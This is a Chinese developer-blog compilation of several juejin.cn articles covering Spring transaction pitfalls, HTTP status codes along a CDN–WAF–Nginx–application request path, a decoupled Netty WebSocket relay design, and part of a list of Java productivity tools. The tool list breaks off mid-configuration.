) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin
myisam好用,但有个很致命的问题是:不支持事务。
如果只是单表操作还好,不会出现太大的问题。但如果需要跨多张表操作,由于其不支持事务,数据极有可能会出现不完整的情况。
此外,myisam还不支持行锁和外键。
所以在实际业务场景中,myisam使用的并不多。在mysql5以后,myisam已经逐渐退出了历史的舞台,取而代之的是innodb。
有时候我们在开发的过程中,发现某张表的事务一直都没有生效,那不一定是spring事务的锅,最好确认一下你使用的那张表,是否支持事务。
7.未开启事务
有时候,事务没有生效的根本原因是没有开启事务。
你看到这句话可能会觉得好笑。
开启事务不是一个项目中,最最最基本的功能吗?
为什么还会没有开启事务?
没错,如果项目已经搭建好了,事务功能肯定是有的。
但如果你是在搭建项目demo的时候,只有一张表,而这张表的事务没有生效。那么会是什么原因造成的呢?
当然原因有很多,但没有开启事务,这个原因极其容易被忽略。
如果你使用的是springboot项目,那么你很幸运。因为springboot通过DataSourceTransactionManagerAutoConfiguration类,已经默默的帮你开启了事务。
你所要做的事情很简单,只需要配置spring.datasource相关参数即可。
但如果你使用的还是传统的spring项目,则需要在applicationContext.xml文件中,手动配置事务相关参数。如果忘了配置,事务肯定是不会生效的。
具体配置如下信息:
<!-- 配置事务管理器 -->
<bean class="org.springframework.jdbc.datasource.DataSourceTransactionManager" id="transactionManager">
<property name="dataSource" ref="dataSource"></property>
</bean>
<tx:advice id="advice" transaction-manager="transactionManager">
<tx:attributes>
<tx:method name="*" propagation="REQUIRED"/>
</tx:attributes>
</tx:advice>
<!-- 用切点把事务切进去 -->
<aop:config>
<aop:pointcut expression="execution(* com.susan.*.*(..))" id="pointcut"/>
<aop:advisor advice-ref="advice" pointcut-ref="pointcut"/>
</aop:config>
默默的说一句,如果在pointcut标签中的切入点匹配规则,配错了的话,有些类的事务也不会生效。
二 事务不回滚
1.错误的传播特性
其实,我们在使用@Transactional注解时,是可以指定propagation参数的。
该参数的作用是指定事务的传播特性,spring目前支持7种传播特性:
REQUIRED如果当前上下文中存在事务,那么加入该事务,如果不存在事务,创建一个事务,这是默认的传播属性值。SUPPORTS如果当前上下文存在事务,则支持事务加入事务,如果不存在事务,则使用非事务的方式执行。MANDATORY如果当前上下文中存在事务,否则抛出异常。REQUIRES_NEW每次都会新建一个事务,并且同时将上下文中的事务挂起,执行当前新建事务完成以后,上下文事务恢复再执行。NOT_SUPPORTED如果当前上下文中存在事务,则挂起当前事务,然后新的方法在没有事务的环境中执行。NEVER如果当前上下文中存在事务,则抛出异常,否则在无事务环境上执行代码。NESTED如果当前上下文中存在事务,则嵌套事务执行,如果不存在事务,则新建事务。
如果我们在手动设置propagation参数的时候,把传播特性设置错了,比如:
@Service
public class UserService {
@Transactional(propagation = Propagation.NEVER)
public void add(UserModel userModel) {
saveData(userModel);
updateData(userModel);
}
}
我们可以看到add方法的事务传播特性定义成了Propagation.NEVER,这种类型的传播特性不支持事务,如果有事务则会抛异常。
目前只有这三种传播特性才会创建新事务:REQUIRED,REQUIRES_NEW,NESTED。
2.自己吞了异常
事务不会回滚,最常见的问题是:开发者在代码中手动try...catch了异常。比如:
@Slf4j
@Service
public class UserService {
@Transactional
public void add(UserModel userModel) {
try {
saveData(userModel);
updateData(userModel);
} catch (Exception e) {
log.error(e.getMessage(), e);
}
}
}
这种情况下spring事务当然不会回滚,因为开发者自己捕获了异常,又没有手动抛出,换句话说就是把异常吞掉了。
如果想要spring事务能够正常回滚,必须抛出它能够处理的异常。如果没有抛异常,则spring认为程序是正常的。
3.手动抛了别的异常
即使开发者没有手动捕获异常,但如果抛的异常不正确,spring事务也不会回滚。
@Slf4j
@Service
public class UserService {
@Transactional
public void add(UserModel userModel) throws Exception {
try {
saveData(userModel);
updateData(userModel);
} catch (Exception e) {
log.error(e.getMessage(), e);
throw new Exception(e);
}
}
}
上面的这种情况,开发人员自己捕获了异常,又手动抛出了异常:Exception,事务同样不会回滚。
因为spring事务,默认情况下只会回滚RuntimeException(运行时异常)和Error(错误),对于普通的Exception(非运行时异常),它不会回滚。
4.自定义了回滚异常
在使用@Transactional注解声明事务时,有时我们想自定义回滚的异常,spring也是支持的。可以通过设置rollbackFor参数,来完成这个功能。
但如果这个参数的值设置错了,就会引出一些莫名其妙的问题,例如:
@Slf4j
@Service
public class UserService {
@Transactional(rollbackFor = BusinessException.class)
public void add(UserModel userModel) throws Exception {
saveData(userModel);
updateData(userModel);
}
}
如果在执行上面这段代码,保存和更新数据时,程序报错了,抛了SqlException、DuplicateKeyException等异常。而BusinessException是我们自定义的异常,报错的异常不属于BusinessException,所以事务也不会回滚。
即使rollbackFor有默认值,但阿里巴巴开发者规范中,还是要求开发者重新指定该参数。
这是为什么呢?
因为如果使用默认值,一旦程序抛出了Exception,事务不会回滚,这会出现很大的bug。所以,建议一般情况下,将该参数设置成:Exception或Throwable。
5.嵌套事务回滚多了
public class UserService {
@Autowired
private UserMapper userMapper;
@Autowired
private RoleService roleService;
@Transactional
public void add(UserModel userModel) throws Exception {
userMapper.insertUser(userModel);
roleService.doOtherThing();
}
}
@Service
public class RoleService {
@Transactional(propagation = Propagation.NESTED)
public void doOtherThing() {
System.out.println("保存role表数据");
}
}
这种情况使用了嵌套的内部事务,原本是希望调用roleService.doOtherThing方法时,如果出现了异常,只回滚doOtherThing方法里的内容,不回滚 userMapper.insertUser里的内容,即回滚保存点。。但事实是,insertUser也回滚了。
why?
因为doOtherThing方法出现了异常,没有手动捕获,会继续往上抛,到外层add方法的代理方法中捕获了异常。所以,这种情况是直接回滚了整个事务,不只回滚单个保存点。
怎么样才能只回滚保存点呢?
@Slf4j
@Service
public class UserService {
@Autowired
private UserMapper userMapper;
@Autowired
private RoleService roleService;
@Transactional
public void add(UserModel userModel) throws Exception {
userMapper.insertUser(userModel);
try {
roleService.doOtherThing();
} catch (Exception e) {
log.error(e.getMessage(), e);
}
}
}
可以将内部嵌套事务放在try/catch中,并且不继续往上抛异常。这样就能保证,如果内部嵌套事务中出现异常,只回滚内部事务,而不影响外部事务。
三 其他
1 大事务问题
在使用spring事务时,有个让人非常头疼的问题,就是大事务问题。
通常情况下,我们会在方法上@Transactional注解,填加事务功能,比如:
@Service
public class UserService {
@Autowired
private RoleService roleService;
@Transactional
public void add(UserModel userModel) throws Exception {
query1();
query2();
query3();
roleService.save(userModel);
update(userModel);
}
}
@Service
public class RoleService {
@Autowired
private RoleService roleService;
@Transactional
public void save(UserModel userModel) throws Exception {
query4();
query5();
query6();
saveData(userModel);
}
}
但@Transactional注解,如果被加到方法上,有个缺点就是整个方法都包含在事务当中了。
上面的这个例子中,在UserService类中,其实只有这两行才需要事务:
roleService.save(userModel);
update(userModel);
在RoleService类中,只有这一行需要事务:
saveData(userModel);
现在的这种写法,会导致所有的query方法也被包含在同一个事务当中。
如果query方法非常多,调用层级很深,而且有部分查询方法比较耗时的话,会造成整个事务非常耗时,而从造成大事务问题。
关于大事务问题的危害,可以阅读一下我的另一篇文章《让人头痛的大事务问题到底要如何解决?》,上面有详细的讲解。

更多精彩内容百度一下:Java突击队
2.编程式事务
上面聊的这些内容都是基于@Transactional注解的,主要说的是它的事务问题,我们把这种事务叫做:声明式事务。
其实,spring还提供了另外一种创建事务的方式,即通过手动编写代码实现的事务,我们把这种事务叫做:编程式事务。例如:
@Autowired
private TransactionTemplate transactionTemplate;
...
public void save(final User user) {
queryData1();
queryData2();
transactionTemplate.execute((status) => {
addData1();
updateData2();
return Boolean.TRUE;
})
}
在spring中为了支持编程式事务,专门提供了一个类:TransactionTemplate,在它的execute方法中,就实现了事务的功能。
相较于@Transactional注解声明式事务,我更建议大家使用,基于TransactionTemplate的编程式事务。主要原因如下:
- 避免由于spring aop问题,导致事务失效的问题。
- 能够更小粒度的控制事务的范围,更直观。
建议在项目中少使用@Transactional注解开启事务。但并不是说一定不能用它,如果项目中有些业务逻辑比较简单,而且不经常变动,使用@Transactional注解开启事务开启事务也无妨,因为它更简单,开发效率更高,但是千万要小心事务失效的问题。
来源:juejin.cn/post/7601576716016435263
面试必问HTTP状态码:从“请求的一生”彻底搞懂,告别死记硬背
HTTP状态码:从请求的一生重新理解
“所有数字背后,都是一个请求的遗言。”
—— 某位被502逼疯的工程师
或者,你也可以记住这一句:
“状态码不是用来背的,是用来收尸的。”
—— 同一位工程师,在又一次凌晨三点被叫起来之后
为什么写这篇文章
相信很多朋友面试的时候都会被面试官问到:“你记得多少HTTP状态码?具体有哪些含义?”
一般对于这类问题,我们都会提前复习和记忆,才能回答得比较完整。
但后来我发现一件事:
“背状态码就像背尸检报告,你记住了死因,却没见过现场。”
—— 某位靠背答案转行写代码的面试者
本文从一个请求离开客户端之后的链路出发,带你去看现场。
要彻底搞懂HTTP状态码,我们可以换一种思路:设计这么多状态码,它们具体是在哪一环节、因为什么原因被返回的?
我们的请求传递到整个后端,并不是直接访问到服务器。它要经过一大批网络组件的筛选过滤,每一关都有可能倒下,每一关都会有人替它写下遗言。
下面,让我们从一个请求发送到后端的链路,重新认识一下HTTP状态码。
第一站:边缘节点 CDN
“我以为我能活到源站,结果在门口就被拦下了。”
—— 一个试图直接访问服务器的请求
当一个请求经过DNS解析离开设备,遇到的第一个网络组件是CDN。
CDN是一种缓存设备。它把源服务器的资源拉取到离你最近的地方,像个热情过度的前台:“你要这个?我这有,别往里跑了。”
遇到热门的资源文件(比如B站、抖音的热门视频),直接从CDN获取,速度远远快于访问远端的服务器。对于这些占用带宽较大的静态文件资源,缓存到CDN上是性价比最高的方案。
CDN节点状态码
| 状态码 | 含义 | 死因报告 |
|---|---|---|
200 | 成功命中 | “我这有,拿去吧。” |
304 | 未修改 | “你手里的还是新鲜的,不用换。” |
502 | 回源非法响应 | “我去帮你问,结果源站说方言,听不懂。” |
503 | 回源连接拒绝 | “源站把门关上了,不让我进。” |
504 | 回源超时 | “源站接了电话,但一直不说话。” |
💡 304是个好东西
每次向CDN发起请求,并不一定需要CDN把整个文件再发一遍。
如果我们本地有缓存,带着文件的指纹(ETag)或修改时间(Last-Modified)去问CDN:“我这个还新鲜吗?”
CDN看一眼:“没变,接着用吧。”
省带宽,省时间,双方都舒服。
—— 这是唯一一个**请求和服务器达成共识“你不用干活”**的状态码。
第二站:安全网关 WAF
“我不是不让你进,我是怕你进来搞破坏。”
—— WAF,一个没有感情的安检机器
请求离开CDN后,仍然不能直接到达源站。它先要经过WAF——Web应用防火墙。
这个组件的作用,名字已经写得很清楚:为了安全。
它像个眼神锐利的保安,把你从头扫到脚:
- 检查IP是否合法 → 不合法返回
403 Forbidden - 检查请求头是否合法 → 不合法返回
406 Not Acceptable - 检查请求体是否合法 → 不合法返回
413 Payload Too Large - 判断请求频率是否正常 → 不合法返回
429 Too Many Requests
WAF状态码场景
| 攻击/异常类型 | 状态码 | 死因报告 |
|---|---|---|
| 黑名单IP/SQL注入/XSS | 403 | “你身上有刀,不许进。” |
| 无效Accept头 | 406 | “你要的东西我给不了,别进了。” |
| 超大请求体 | 413 | “你扛的箱子太大了,进不来。” |
| CC攻击/高频请求 | 429 | “你来回跑太多次了,歇会儿。” |
这些“不正经”的请求方式,其实就是网络安全课里讲的攻击手段。
“我只是想进来看看,它说我是黑客。”
—— 一个带着正常User-Agent却被误杀的公司内网爬虫
第三站:负载均衡器 Nginx
“一万个用户就要一万个进程?凭什么等网速还要占着位置?”
—— Igor Sysoev,Nginx之父,2002年
对于这个组件,一开始我也不明白它为什么有那么多功能。
要认识一件东西,最好的方式是了解它为什么被创造出来。
2002年,莫斯科。
Apache的规矩:来一个人开一个进程,来一万个人开一万个进程。
16G内存,Apache张嘴要50G,然后跪了。
Igor Sysoev每天的工作就是重启服务器——像给同一个病人反复做心肺复苏。
终于有一天他骂了句脏话:
“一万个用户就要一万个进程?凭什么等网速的时候还要占着内存?”
他觉得这不合理——像每个客人身后站一个专属服务员,客人上厕所他都得站着等。
Igor决定写一个“不讲武德”的服务器:
一个服务员管五十桌,谁招手过去,谁看菜单就晾着。不等人,不空转,不占茅坑。
两年,一万行C。
2004年,Nginx诞生。
4个进程扛1万连接,内存500MB。
Apache用50G干的活,它用1%的资源。
后来有人问他为什么写Nginx。
他说:
“等的时候,不应该占着位置。”
Nginx核心状态码
| 场景 | 状态码 | 死因报告 |
|---|---|---|
| 静态文件不存在 | 404 | “你要的文件,硬盘里没有。” |
| 静态文件无权限 | 403 | “文件在那,但你不配看。” |
| 后端无响应 | 502 | “我把请求转给后面,后面没人接。” |
| 后端超时 | 504 | “后面接了电话,但一直‘嗯’个不停,就是不说话。” |
| 客户端提前关闭 | 499 | “用户等不及,把网页关了。” |
| 限流拦截 | 429 | “你刷太快了,我伺候不动。” |
| 主动熔断 | 503 | “后面的兄弟都快累死了,我先替你挡一下。” |
💡 关于499
499是Nginx独有的状态码。
它不是后端返回的,不是WAF拦截的,是Nginx自己记下的遗言:
“他没等我,他走了。”
很多时候你以为的超时(504),其实是用户等得不耐烦,直接关掉了页面。
Nginx默默在日志里写下一行:
“请求已转发,但客户端已失联。”
第四站:Web 应用
“终于到我了。”
—— 一个请求,在穿过CDN、WAF、Nginx之后
终于,请求到达了后端应用。
这里的HTTP状态码,是开发者在代码里亲手写下的。
它是唯一一个由你决定生死的环节。
4xx:你的问题,不是我的问题
“你发过来的东西,我尽力了,真的看不懂。”
—— 应用对400说
| 状态码 | 含义 | 死因报告 |
|---|---|---|
400 | 我看不懂 | JSON少括号、类型传错、必填字段没带 |
401 | 你没登录 | 没带Token、Token过期、Token被篡改 |
403 | 你不能进 | 普通用户点管理员接口、IP不在白名单 |
404 | 我没有 | 查不存在的用户ID、已下架的商品 |
409 | 已经有了 | 用户名被占用、重复提交、两人同时编辑同一条数据 |
422 | 内容不对 | 邮箱格式正确但未注册、年龄传了200岁 |
“你说你叫admin,但我这已经有叫admin的了。”
—— 409 Conflict,注册接口的日常
2xx:一切顺利
“今天是个好日子。”
—— 200 OK,最幸福的状态码
| 状态码 | 含义 | 遗言(活着的遗言) |
|---|---|---|
200 | 成功 | “成了,数据给你。” |
201 | 创建成功 | “成了,新资源在这。” |
202 | 已接受 | “收下了,后面慢慢弄。” |
204 | 成功,无返回 | “成了,但没啥可说的。” |
3xx:别找我,去那边
“我已经搬家了,这是新地址。”
—— 301,一个负责任的旧门牌
| 状态码 | 含义 | 死因报告 |
|---|---|---|
301 | 永久搬家 | “这里不住了,以后去那边找我。” |
302 | 临时离开 | “现在不在,你先去隔壁。” |
304 | 没变 | “你手里那个还能用,别下载了。” |
5xx:我炸了,不是你的错
“对不起,是我的问题。”
—— 500 Internal Server Error,一个有礼貌的崩溃
| 状态码 | 含义 | 死因报告 |
|---|---|---|
500 | 代码崩溃 | 空指针、数据库连不上、try-catch没接住 |
502 | 上游乱说话 | 第三方API返回乱码、Redis数据结构不对 |
503 | 我拒绝 | 连接池满了、服务正在重启 |
504 | 上游太慢 | 第三方API超时、SQL查了10秒 |
“我调了别人的接口,别人没回我。”
—— 504,一个被上游坑死的请求
链路简图 · 请求的一生
“这不是架构图,这是事故多发路段示意图。”
写在最后:状态码不是数字,是请求的“尸检报告”
行文至此,我们已经陪着一个HTTP请求走完了它的完整一生。
它从你的浏览器出发,叩开CDN的大门,穿过WAF的安检,经过Nginx的调度,最终抵达应用服务器的后厨。
而在每一道关卡,都有可能倒下——也可能凯旋。
每一个状态码,都不是随机数字,而是请求倒下的那一刻,最后一个活着的人替它写下的死因报告。
当你再看到502,你脑海里应该浮现的不是“Bad Gateway”这行英文,而是一场事故现场:
- 也许是CDN回源时,源站说了句它听不懂的方言(非法响应)
- 也许是Nginx转发时,后端的应用根本没在听(连接失败)
- 也许是你的代码调用第三方API,对方接了电话但开始沉默(超时)
- 也许是负载均衡器巡视一圈,发现所有小弟都已阵亡(无可用后端)
同一个502,七种死法。症状相同,病灶各异。
这就是为什么,学会背状态码的人只能回答“它是什么意思”,而理解链路的人能回答:
“它死在了哪一环。”
这趟旅程也告诉我们另一件事:
CDN会替你背锅,Nginx会替你扛压,WAF会替你挡刀——但它们都只是过客。
唯一从头到尾、从生到死都陪着你代码的,是你自己写的业务逻辑。
200是你写的,404是你写的,500也是你写的。
状态码不是面试官拷问你的工具,而是你的代码和这个世界对话的语言。
你用200说:“一切正常。”
你用404说:“你找的东西不在这里。”
你用500说:“抱歉,我出了点问题,已经在看日志了。”
所以,别再背状态码了。
去理解你请求走过的路,去读懂每一行日志,去亲手写下每一个你返回的状态码。
当你不再问“502是什么意思”,而是问——
“这个502是谁报的?”
“在哪一环报的?”
“日志里留下了什么线索?”
那一刻,你就不再是背答案的人,而是真的懂了。
“愿你的200永远不鸽,愿你的5xx永远有日志可查。”
—— 同一位被502逼疯的工程师,在最后一次上线后说
来源:juejin.cn/post/7605848213602779182
神了,WebSocket竟然可以这么设计!
关注我的公众号:【编程朝花夕拾】,可获取首发内容。

01 引言
长连接是业务项目中经常遇到的技术,往往用于数据向前端推送,如各种大屏、驾驶舱等实时数据的展示。单向推送可能会选择SSE,SSE因为AI时代的到来,逐步被大家熟知,而WebSocket作为经典的双向通讯,也经常被用来做数据推送。
今天聊一下,我发现的一种特殊的设计,可以单独将基于Netty的WebSocket单独部署,接入时,只需要引入API,初始化客户端即可完成对接。直接隔离了WebSocket服务端的编码。
02 普通应用
WebSocket的普通接入,需要编写WebSocket服务端。通过浏览器原生 API即可实现。
2.1 前端代码
浏览器原生的代码:
if ('WebSocket' in window) {
const websocket = new WebSocket("ws://localhost:9090/testWs");
} else {
alert('当前浏览器不支持 WebSocket');
}
websocket.onopen = function(event) {
console.log('WebSocket 连接成功');
};
websocket.onmessage = function(event) {
console.log('收到消息:', event.data);
};
websocket.onerror = function(error) {
console.error('WebSocket 错误:', error);
};
websocket.onclose = function(event) {
console.log('WebSocket 连接关闭');
};
// 发送消息
function sendMessage() {
const message = document.getElementById('text').value;
websocket.send(message);
}
// 关闭连接
function closeConnection() {
websocket.close();
}
2.2 服务端代码
@Slf4j
@Component
public class WebSocketServer {
@Getter
private ChannelGr0up channelGr0up = new DefaultChannelGr0up(GlobalEventExecutor.INSTANCE);
public void start() throws InterruptedException {
EventLoopGr0up bossGr0up = new NioEventLoopGr0up();
EventLoopGr0up workGr0up = new NioEventLoopGr0up();
ServerBootstrap serverBootstrap = new ServerBootstrap();
serverBootstrap.group(bossGr0up, workGr0up);
serverBootstrap.channel(NioServerSocketChannel.class);
serverBootstrap.childHandler(new ChannelInitializer<SocketChannel>(){
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
ChannelPipeline pipeline = socketChannel.pipeline();
pipeline.addLast(new HttpServerCodec());
pipeline.addLast(new HttpObjectAggregator(65535));
pipeline.addLast(new WebSocketServerProtocolHandler("/testWs"));
// 自定义的handler,处理业务逻辑
pipeline.addLast(new SimpleChannelInboundHandler<TextWebSocketFrame>() {
@Override
public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
// 建立客户端
Channel channel = ctx.channel();
log.info("客户端建立连接:channelId={}", channel.id());
channelGr0up.add(channel);
}
@Override
public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
// 断开链接
Channel channel = ctx.channel();
log.info("客户端断开连接:channelId={}", channel.id());
channelGr0up.remove(channel);
}
@Override
protected void channelRead0(ChannelHandlerContext ctx, TextWebSocketFrame msg) throws Exception {
// 接受消息
Channel channel = ctx.channel();
log.info("收到来自通道channelId[{}]发送的消息:{}", channel.id(), msg.text());
// 广播通知所有的客户端
channelGr0up.writeAndFlush(new TextWebSocketFrame("收到来自channelId[" + channel.id() + "]发送的消息:" + msg.text() + "123_"));
}
});
}
});
// 配置完成,开始绑定server,通过调用sync同步方法阻塞直到绑定成功
ChannelFuture channelFuture = serverBootstrap.bind(9090).sync();
log.info("Server started and listen on:{}",channelFuture.channel().localAddress());
// 对关闭通道进行监听
channelFuture.channel().closeFuture().sync();
}
}
2.3 效果演示
为了方便演示,我直接使用在线测试工具:

2.4 设计思想
设计如图:

这就是一个简单的点对点的一个设计。这样的设计本身没有什么问题,但是面对不同的业务系统都要接入WebSocket,我们就需要将服务端的代码复制一份,然后修改成适合自己业务项目的逻辑。
如果业务项目比较多,就会出现大量重复的代码,如我们公司就有20多个业务系统。从《代码重构》这本书中,就得知这是一种坏的味道,需要我们想办法优化。
如何来优化呢?按照阿里程序员的说话,没有什么是加一个中间层不能解决的,如果不能那就再加一层。
03 独特的设计
3.1 总览
如何通过中间层去解耦呢?
为了将WebSocket能够复用,就需要通过一个中间层能够作为一个传递者。既可以让用户直接连接WebSocket,也可以通过中间层直接推送消息。
我们来看看最终的设计流程:

3.2 流程分析
在流程分析执之前,我们需要说明引入的中间层。
- Socket中间客户端
- Socket服务
Socket中间客户端
Socket中间客户端作为一个jar传递于业务项目中,用来代替WebSocket直接推送消息给Socket客户端。同时也会将WebSocket服务的IP和端口暴露给客户端。
Socket中间客户端是基于Netty的Socket客户端,通过Bootstrap bootstrap = new Bootstrap()实例化,遵循TCP协议。详见代码。
Socket服务
为什么需要引入Socket服务呢?这也是小编之前非常疑惑的地方,直到自己搭建才知道为什么这么设计。
由于Socket中间客户端无法直接连接WebSocket,那么那就要一个完全基于TCP协议的Socket服务,就可以和Socket中间客户端建立连接。
而Socket服务和WebSocket位于同一个服务,就可以获取到WebSocket的所有通道(channel),就可以将消息推送给客户端了。
运行流程
- ① 客户端通过业务项目暴露的
WebSOcket的IP和端口给前端,前端用来建立WebSocket连接。当着这个主要针对H5。类似安卓或者IOS有支持TCP的SDK,就可以直接连接Socket服务了。 - ② 随着业务项目启动建立与
Socket服务的连接,等待随时给Socket服务发送消息。 - ③
Socket服务接收到消息后,直接获取WebSocket的通道。然后通过通道可以推送消息。 - ④ 获取到通道之后,就可以直接推送消息给前端了。
所以每次使用,只需要引入Jar,需要推送消息给客户端,只需要直接调用方法推送即可。
04 设计实现
4.1 WebSocket服务端
代码同2.2的代码
WebSocket服务的端口是9090
4.2 Socket服务端
@Slf4j
@Component
public class SockerServer {
@Autowired
private WebSocketServer webSocketServer;
public void start() throws InterruptedException {
EventLoopGr0up bossGr0up = new NioEventLoopGr0up();
EventLoopGr0up workGr0up = new NioEventLoopGr0up();
ServerBootstrap serverBootstrap = new ServerBootstrap();
serverBootstrap.group(bossGr0up, workGr0up);
serverBootstrap.channel(NioServerSocketChannel.class);
serverBootstrap.childHandler(new ChannelInitializer<SocketChannel>(){
@Override
protected void initChannel(SocketChannel socketChannel) throws Exception {
ChannelPipeline pipeline = socketChannel.pipeline();
pipeline.addLast(new DelimiterBasedFrameDecoder(2048, Unpooled.copiedBuffer("_".getBytes())));
pipeline.addLast(new StringDecoder(StandardCharsets.UTF_8));
pipeline.addLast(new StringEncoder(StandardCharsets.UTF_8));
// 自定义的handler,处理业务逻辑
pipeline.addLast(new SimpleChannelInboundHandler<>() {
@Override
public void handlerAdded(ChannelHandlerContext ctx) throws Exception {
// 建立客户端
Channel channel = ctx.channel();
log.info("Socket客户端建立连接:channelId={}", channel.id());
}
@Override
public void handlerRemoved(ChannelHandlerContext ctx) throws Exception {
// 断开链接
Channel channel = ctx.channel();
log.info("Socket客户端断开连接:channelId={}", channel.id());
}
@Override
protected void channelRead0(ChannelHandlerContext ctx, Object msg) throws Exception {
// 接受消息
Channel channel = ctx.channel();
log.info("Socket收到来自通道channelId[{}]发送的消息:{}", channel.id(), msg);
// 通过WebSocket将方法发送给客户端
webSocketServer.getChannelGr0up().writeAndFlush(new TextWebSocketFrame("收到来自channelId[" + channel.id() + "]发送的消息:" + msg + "123_"));
}
});
}
});
// 配置完成,开始绑定server,通过调用sync同步方法阻塞直到绑定成功
ChannelFuture channelFuture = serverBootstrap.bind(9091).sync();
log.info("Server started and listen on:{}",channelFuture.channel().localAddress());
// 对关闭通道进行监听
channelFuture.channel().closeFuture().sync();
}
}
Socket服务的端口是9091
4.3 Socket中间客户端
@Slf4j
public class MockClient {
@Getter
private SocketChannel socketChannel;
public void connect() throws InterruptedException {
EventLoopGr0up eventLoopGr0up = new NioEventLoopGr0up();
Bootstrap bootstrap = new Bootstrap();
bootstrap.channel(NioSocketChannel.class);
bootstrap.option(ChannelOption.SO_KEEPALIVE, true);
bootstrap.option(ChannelOption.SO_BACKLOG, 500);
bootstrap.group(eventLoopGr0up);
bootstrap.handler(new ChannelInitializer() {
@Override
protected void initChannel(Channel channel) throws Exception {
ChannelPipeline pipeline = channel.pipeline();
pipeline.addLast(new DelimiterBasedFrameDecoder(2048, Unpooled.copiedBuffer("_".getBytes())));
pipeline.addLast(new StringDecoder(StandardCharsets.UTF_8));
pipeline.addLast(new StringEncoder(StandardCharsets.UTF_8));
pipeline.addLast(new SimpleChannelInboundHandler<String>(){
@Override
protected void channelRead0(ChannelHandlerContext ctx, String msg) throws Exception {
log.info("client receive: {}", msg);
}
});
}
});
ChannelFuture channelFuture = bootstrap.connect("127.0.0.1", 9091).sync();
this.socketChannel = (SocketChannel) channelFuture.channel();
}
}
Socket只是用来发送消息的,所以不同处理接受的消息。注意这里的中间客户端连接的是Socket服务,端口是9091
4.4 配置启动
@Slf4j
@Component
public class StartConfig {
@Autowired
private WebSocketServer webSocketServer;
@Autowired
private SockerServer socketServer;
@PostConstruct
public void init() {
ExecutorService executorService = Executors.newFixedThreadPool(2);
executorService.execute(() -> {
log.info("websocket init ....");
try {
webSocketServer.start();
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
});
executorService.execute(() -> {
log.info("socket init ....");
try {
socketServer.start();
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
});
}
}
这个就是独立部署的Socket服务配置,两个服务分别使用多线程启动。
4.5 模拟数据推送
@Test
void contextLoads() throws Exception {
MockClient mockClient = new MockClient();
mockClient.connect();
SocketChannel socketChannel = mockClient.getSocketChannel();
new Timer().schedule(new TimerTask() {
@Override
public void run() {
System.out.println("send msg...");
socketChannel.writeAndFlush("foo test..._");
}
}, 0, 2000);
System.in.read();
}
每个2s发送一次消息。
4.6 客户端
客户端同样用在线测试工具代替。
4.7 演示

05 小结
这就完成了WebSocket的解耦。关于Socket消息的编解码,有很多注意点,在搭建过程中,总会不成功, 需要根据连接的协议选择不同的编解码,才能正确的接受和发送信息。这些留到后面的文章继续介绍。
来源:juejin.cn/post/7592079304924889098
一个Java工程师的17个日常效率工具
作为一名Java工程师,效率就是生产力。那些能让你少写代码、少改BUG、少加班的工具,往往能为你节省大量时间,让你专注于解决真正有挑战性的问题。
下面分享的这些工具几乎覆盖了Java开发全流程,从编码、调试到构建、部署,每一个环节都能大幅提升你的工作效率。
一、IDE增强类工具
1. IntelliJ IDEA终极版 + 精选插件
作为Java开发的首选IDE,IntelliJ IDEA本身已经非常强大,但配合以下插件,效率可以再提升一个档次:
- Key Promoter X: 显示你手动操作的快捷键,帮助你养成使用快捷键的习惯
- AiXcoder Code Completer: 基于AI的代码补全,比IDEA自带的更智能
- Maven Helper: 解决Maven依赖冲突的神器
- Lombok: 减少模板代码编写
- Rainbow Brackets: 彩色括号,让嵌套结构一目了然
实用技巧:创建多个Live Templates(代码模板),比如定义日志、常用异常处理、单例模式等。每天能节省几十次重复输入。
2. Lombok
虽然这是一个库,但它堪称效率工具。通过注解的方式,自动生成getter/setter、构造函数、equals/hashCode等方法,大幅减少模板代码量。
@Data
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class UserDTO {
private Long id;
private String username;
private String email;
// 无需编写getter/setter/构造函数/toString等
}
注意事项:使用@EqualsAndHashCode时,注意排除可能造成循环引用的字段;使用@Builder时,考虑添加@NoArgsConstructor满足序列化需求。
二、调试与性能分析工具
3. Arthas
阿里开源的Java诊断工具,它能在线排查问题,无需重启应用。最强大的是它能够实时观察方法的入参、返回值,统计方法执行耗时,甚至动态修改类的行为。
常用命令:
watch监控方法调用trace跟踪方法调用链路jad反编译类sc查找加载的类redefine热更新类
实战示例:线上问题排查,不方便加日志时,用watch命令观察方法执行:
watch com.example.service.UserService queryUser "{params,returnObj}" -x 3
4. JProfiler
Java剖析工具的王者,能够分析CPU热点、内存泄漏、线程阻塞等问题。与其他分析工具相比,JProfiler的UI更友好,数据呈现更直观。
核心功能:
- 内存视图:找出占用内存最多的对象
- CPU视图:定位热点方法
- 线程视图:发现死锁和阻塞
- 实时遥测:监控线上应用,无需重启
技巧:养成定期对自己负责的服务做性能分析的习惯,很多问题在上线前就能发现。
5. Charles/Fiddler
抓包工具是API调试的必备利器。Charles(Mac)或Fiddler(Windows)能够拦截、查看和修改HTTP/HTTPS请求和响应。
实用功能:
- 模拟网络延迟
- 请求重写
- 断点调试HTTP请求
- 反向代理
在前后端分离开发和调试第三方API时,这类工具能节省大量时间。
三、代码质量工具
6. SonarQube + SonarLint
SonarQube是静态代码分析工具,可以检测代码中的漏洞、坏味道和潜在bug。而SonarLint是其IDE插件版,能在你编码时实时提供反馈。
最佳实践:
- 在CI流程中集成SonarQube
- 为团队制定"质量门"标准
- 使用SonarLint实时检查,避免代码审查时返工
技巧:自定义规则集,忽略对特定项目不适用的规则,避免"过度洁癖"。
7. ArchUnit
用代码的方式测试架构规则,确保项目架构不会随着时间推移而腐化。
@Test
public void servicesAndRepositoriesShouldNotDependOnControllers() {
ArchRule rule = noClasses()
.that().resideInAPackage("..service..")
.or().resideInAPackage("..repository..")
.should().dependOnClassesThat().resideInAPackage("..controller..");
rule.check(importedClasses);
}
将架构约束加入单元测试,比写文档更有效,因为违反规则会导致测试失败。
8. JaCoCo
代码覆盖率工具,与Maven/Gradle集成,生成直观的HTML报告。它不仅统计单元测试覆盖了哪些代码,还能显示哪些分支没有测试到。
实用配置:在Maven中设置覆盖率阈值,低于阈值则构建失败:
<configuration>
<rules>
<rule>
<element>BUNDLE</element>
<limits>
<limit>
<counter>LINE</counter>
<value>COVEREDRATIO</value>
